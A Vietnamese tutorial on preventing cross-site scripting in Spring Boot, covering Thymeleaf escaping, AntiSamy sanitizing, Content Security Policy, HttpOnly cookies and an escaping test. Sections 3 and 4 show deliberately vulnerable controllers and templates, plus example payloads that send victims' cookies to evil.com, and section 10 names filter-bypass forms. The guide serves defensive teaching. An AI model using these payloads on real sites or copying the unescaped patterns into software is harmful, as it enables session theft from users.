XSS: Tấn công và cách chặn trong ứng dụng Spring Boot

1. Tổng quan

XSS (Cross-Site Scripting) là một trong những lỗ hổng web phổ biến nhất, nằm trong OWASP Top 10 suốt nhiều năm. Bài này giúp bạn hiểu rõ ba loại XSS thường gặp, xem qua ví dụ tấn công thực tế, rồi áp dụng các kỹ thuật phòng chống như output encoding, Content Security Policy (CSP), và cấu hình HTTP header trong Spring Boot. Đọc xong, bạn sẽ biết cách tự rà soát và vá lỗ hổng XSS trong ứng dụng của mình.

2. XSS là gì?

XSS xảy ra khi ứng dụng web cho phép attacker chèn mã JavaScript độc hại vào trang, rồi trình duyệt của victim thực thi đoạn mã đó như thể nó là một phần hợp lệ của trang web. Hậu quả: đánh cắp cookie/session, giả mạo hành động người dùng, chuyển hướng (redirect) đến trang lừa đảo.

Có 3 loại XSS chính:

  • Reflected XSS: payload nằm trong request (query string, form), server phản hồi lại ngay mà không lọc.
  • Stored XSS: payload được lưu vào database (ví dụ comment, bio), sau đó hiển thị cho mọi người xem — nguy hiểm hơn vì ảnh hưởng nhiều người.
  • DOM-based XSS: payload không qua server, mà JavaScript ở client đọc dữ liệu không an toàn (URL, localStorage) và ghi trực tiếp vào DOM.

3. Ví dụ tấn công Reflected XSS

Giả sử bạn có một endpoint tìm kiếm đơn giản, hiển thị lại từ khóa người dùng gõ:

@Controller
public class SearchController {

    @GetMapping("/search")
    public String search(@RequestParam String keyword, Model model) {
        model.addAttribute("keyword", keyword);
        return "search-result";
    }
}

Template Thymeleaf dùng th:utext (unescaped text) để hiển thị:

<p>Kết quả tìm kiếm cho: <span th:utext="${keyword}"></span></p>

Attacker gửi link này cho victim:

https://shop.example.com/search?keyword=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Khi victim click, trình duyệt thực thi script, gửi cookie của victim sang evil.com. Nguyên nhân cốt lõi: th:utext render HTML thô, không encode ký tự đặc biệt.

Lưu ý: Chỉ dùng th:utext khi bạn chắc chắn 100% nội dung là HTML tin cậy (ví dụ do admin soạn qua rich-text editor có sanitize). Mặc định luôn dùng th:text.

4. Ví dụ tấn công Stored XSS

Stored XSS nguy hiểm hơn vì payload tồn tại lâu dài trong hệ thống. Ví dụ tính năng bình luận:

@Entity
public class Comment {
    @Id @GeneratedValue
    private Long id;
    private String content;
    private String authorName;
    // getters, setters
}

@PostMapping("/comments")
public String addComment(@RequestParam String content, @RequestParam String authorName) {
    Comment comment = new Comment();
    comment.setContent(content);
    comment.setAuthorName(authorName);
    commentRepository.save(comment);
    return "redirect:/comments";
}

Attacker gửi comment với nội dung:

<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

Nếu trang hiển thị comment render thẳng HTML (không encode), mọi người xem trang comment đều bị đánh cắp cookie — không cần click link nào cả.

5. Phòng chống bằng Output Encoding

Nguyên tắc vàng: encode dữ liệu đúng ngữ cảnh (context) khi output, không phải lúc input. Với HTML context, Thymeleaf mặc định đã escape khi dùng th:text:

<!-- An toàn: tự động escape -->
<p th:text="${comment.content}"></p>

So sánh kết quả:

Input:  <script>alert('XSS')</script>
Output (th:text): &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;
Output (th:utext): <script>alert('XSS')</script>  <!-- NGUY HIỂM -->

Với th:text, trình duyệt hiển thị chuỗi ký tự literal, không thực thi script. Đây là lớp phòng vệ đầu tiên và quan trọng nhất.

5.1. Encode đúng ngữ cảnh khác nhau

Không phải mọi vị trí output đều dùng HTML encoding. Ví dụ khi chèn giá trị vào thuộc tính JavaScript hoặc URL, bạn cần encoding khác:

<!-- Context: HTML attribute -->
<a th:href="@{/profile(id=${user.id})}">Xem hồ sơ</a>

<!-- Context: JavaScript string - KHÔNG được làm thế này -->
<script>
    var username = '[[${user.name}]]'; // nguy hiểm nếu name chứa '); alert(1); //
</script>

Nếu buộc phải truyền dữ liệu từ server vào script, hãy encode bằng JSON và đặt vào data-* attribute:

<div id="user-data" th:data-name="${user.name}"></div>
<script>
    const name = document.getElementById('user-data').dataset.name;
</script>

Cách này tránh việc nối chuỗi trực tiếp vào JavaScript literal — nguồn gốc của rất nhiều lỗ hổng DOM-based XSS.

6. Sanitize HTML khi cần cho phép rich text

Có những trường hợp hợp lệ cần lưu HTML (ví dụ bài viết blog có bold, italic, link). Khi đó bạn không thể encode toàn bộ, mà cần whitelist các tag/attribute an toàn bằng thư viện sanitize.

<dependency>
    <groupId>org.owasp.antisamy</groupId>
    <artifactId>antisamy</artifactId>
    <version>1.7.4</version>
</dependency>
@Service
public class HtmlSanitizerService {

    private final Policy policy;

    public HtmlSanitizerService() throws PolicyException {
        this.policy = Policy.getInstance(getClass().getResourceAsStream("/antisamy-policy.xml"));
    }

    public String sanitize(String rawHtml) throws ScanException, PolicyException {
        AntiSamy antiSamy = new AntiSamy();
        CleanResults results = antiSamy.scan(rawHtml, policy);
        return results.getCleanHTML();
    }
}

File antisamy-policy.xml định nghĩa whitelist tag (<b>, <i>, <a> với href chỉ cho phép http/https…). Mọi tag/attribute không có trong whitelist (như <script>, onerror) bị loại bỏ hoàn toàn trước khi lưu vào DB.

Test nhanh hành vi sanitize:

@Test
void sanitize_shouldRemoveScriptTag_butKeepSafeFormatting() throws Exception {
    HtmlSanitizerService sanitizer = new HtmlSanitizerService();

    String dirty = "<p>Hello <b>world</b></p><script>alert(1)</script>";
    String clean = sanitizer.sanitize(dirty);

    assertThat(clean)
        .contains("<p>Hello <b>world</b></p>")
        .doesNotContain("<script>");
}

Lưu ý: Sanitize nên thực hiện ở cả input (trước khi lưu DB, tránh payload rò ra qua API khác) và output (trước khi render) để phòng vệ nhiều lớp (defense in depth).

7. Content Security Policy (CSP)

CSP là lớp phòng vệ thứ hai, giới hạn trình duyệt chỉ chạy script từ nguồn tin cậy, ngay cả khi payload XSS lọt qua được encoding/sanitize.

@Configuration
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers(headers -> headers
            .contentSecurityPolicy(csp -> csp
                .policyDirectives(
                    "default-src 'self'; " +
                    "script-src 'self'; " +
                    "style-src 'self' 'unsafe-inline'; " +
                    "object-src 'none'; " +
                    "base-uri 'self';"
                )
            )
        );
        return http.build();
    }
}

Giải thích các directive:

  • default-src 'self': mặc định chỉ tải resource từ cùng origin.
  • script-src 'self': chỉ chạy script từ domain của bạn — chặn hoàn toàn inline script (<script>alert(1)</script> bị trình duyệt từ chối thực thi, không cần biết nó hợp lệ hay không).
  • object-src 'none': chặn Flash/plugin, nguồn tấn công cũ nhưng vẫn còn tồn tại.

Response header tương ứng:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';

Khi attacker chèn được <img src=x onerror="..."> lọt qua sanitize, CSP với script-src 'self' sẽ chặn event handler inline (onerror) thực thi, vì đây được xem như inline script.

7.1. Kiểm tra CSP không phá UI

Trước khi bật CSP strict ở production, dùng chế độ report-only để theo dõi violation mà không block:

headers.contentSecurityPolicy(csp -> csp
    .policyDirectives("default-src 'self'; script-src 'self'")
    .reportOnly()
);

Trình duyệt chỉ log cảnh báo vào console (và gửi report nếu có report-uri), không chặn resource. Dựa vào log này bạn tinh chỉnh policy trước khi chuyển sang enforce thật.

Dù đã chặn được XSS, bạn nên có lớp phòng vệ phụ: ngăn script đọc được cookie session, giảm thiệt hại nếu XSS vẫn xảy ra.

server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
  • http-only=true: JavaScript (document.cookie) không đọc được cookie này — payload đánh cắp cookie ở ví dụ mục 3 sẽ thất bại.
  • secure=true: cookie chỉ gửi qua HTTPS.
  • same-site=strict: cookie không gửi kèm request từ domain khác, giảm rủi ro CSRF kết hợp XSS.

9. Test tự động phát hiện XSS cơ bản

Bạn có thể viết integration test kiểm tra endpoint có escape output đúng cách không, tránh regression khi code thay đổi.

@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class SearchControllerXssTest {

    @Autowired
    private TestRestTemplate restTemplate;

    @Test
    void search_shouldEscapeScriptTag_inResponseBody() {
        String payload = "<script>alert(1)</script>";

        ResponseEntity<String> response = restTemplate.getForEntity(
            "/search?keyword=" + payload, String.class);

        assertThat(response.getBody())
            .doesNotContain("<script>alert(1)</script>")
            .contains("&lt;script&gt;");
    }
}

Test này gửi payload XSS kinh điển, assert rằng response body không chứa tag script nguyên bản — nếu có nghĩa là template đang dùng th:utext sai chỗ.

10. Checklist các lỗi hay gặp

  • Dùng th:utext, innerHTML, hoặc v-html (Vue) cho dữ liệu người dùng mà không sanitize.
  • Nối chuỗi trực tiếp dữ liệu user vào <script> block thay vì qua data-* attribute hoặc JSON an toàn.
  • Chỉ encode ở input (lưu DB) mà quên encode lại ở output — nếu đổi context hiển thị (ví dụ export CSV, render PDF) dữ liệu “sạch” từ DB có thể vẫn nguy hiểm ở context mới.
  • Bật CSP quá lỏng (script-src * hoặc có unsafe-inline) khiến CSP mất tác dụng chặn XSS.
  • Quên HttpOnly cho cookie session — attacker XSS vẫn lấy được cookie dù đã encode output ở chỗ khác.
  • Tin tưởng validation phía client (JavaScript) mà không validate/encode lại ở server — client-side dễ bị bypass.

Lưu ý: Không nên tự viết regex để “lọc” tag HTML (ví dụ loại bỏ <script> bằng regex). Attacker luôn có cách bypass (<ScRiPt>, <svg/onload=...>, encode Unicode…). Hãy dùng thư viện sanitize đã được kiểm chứng như AntiSamy hoặc OWASP Java HTML Sanitizer.

11. Kết luận

XSS không phải lỗ hổng khó hiểu, nhưng dễ bị bỏ sót vì nó ẩn trong từng chỗ output dữ liệu người dùng. Phòng chống hiệu quả cần nhiều lớp: encode đúng context khi render (ưu tiên th:text thay vì th:utext), sanitize whitelist khi buộc phải cho phép rich HTML, bật CSP để chặn script lạ dù payload lọt qua, và đặt HttpOnly/Secure/SameSite cho cookie để giảm thiệt hại nếu XSS vẫn xảy ra. Hãy viết test tự động kiểm tra escaping cho mọi endpoint nhận input từ người dùng — đây là cách rẻ nhất để không tái phát lỗi này khi code thay đổi.

web-securityxssspring-bootowasp